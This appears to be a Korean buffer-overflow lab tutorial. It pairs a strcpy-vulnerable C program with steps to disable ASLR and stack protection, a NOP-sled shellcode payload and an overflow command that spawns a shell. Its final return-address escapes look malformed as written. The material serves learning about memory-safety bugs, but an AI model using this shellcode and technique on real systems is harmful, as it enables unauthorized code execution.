버퍼 오버플로우 취약점 해킹 실습
nano overflow.c 파일을 만들어준다
#include <stdio.h>
int main(int argc, char * argv[]) {
char buf[16];
if(argc != 2)
return -1;
strcpy(buf, argv[1]);
return 0;
}
./program 7 이걸로 예시를 들면 ./program 은 0번째 7은 1번째 ~~ 이렇게 이어진다
이 때 n번째 이것이 argc, 실질적으로 들어오는 ./program 이나 7은 argv
strcpy가 매우 취약하기에 안쓰는것을 권고할 정도
왜 취약하냐면 버퍼에 16자리 이상을 넣더라도 계속 담기때문에 취약함
RET 위에 RSP = RBP 가 있고 그 위에 버퍼로 16만큼의 공간이 있게되는데
만약 버퍼에 30만큼의 데이터가 들어오면 버퍼뿐만아니라 RSP까지도(혹은 그 이상) 덮혀져 채워질 수 있다
실습을 위해 메모리 보호 기능을 끄자
sysctl -w kernel.randomize_va_space=0
ldd ./overflow 를 여러번 실행했을때 주소가 같게 출력된다면 성공적으로 된 것이다
export SHELLCODE=`perl -e 'print "\x90" x 2000, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
(여기서 =과 ` 사이를 띄어쓰기 하면 오류가 뜨므로 꼭 붙혀주도록 하자)
90은 nop로 어떠한 명령도 실행하지 않는다는 뜻
gdb ./overflow 해주고 break * main 브레이크포인트를 메인으로 run 실행시켜준다
x/100a $rsp 해주고 내려보다 보면 90이 계속 출력되는것을 볼 수 있다
우선 quit 으로 꺼주고
gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack overflow.c -o overflow 해준다
이제 익스플로잇 공격을 해볼건데
./overflow `perl -e 'print "X" x 24, "\e3\e7\ff\ff\ff\7f"'`
성공적으로 쉘 코드를 볼 수 있다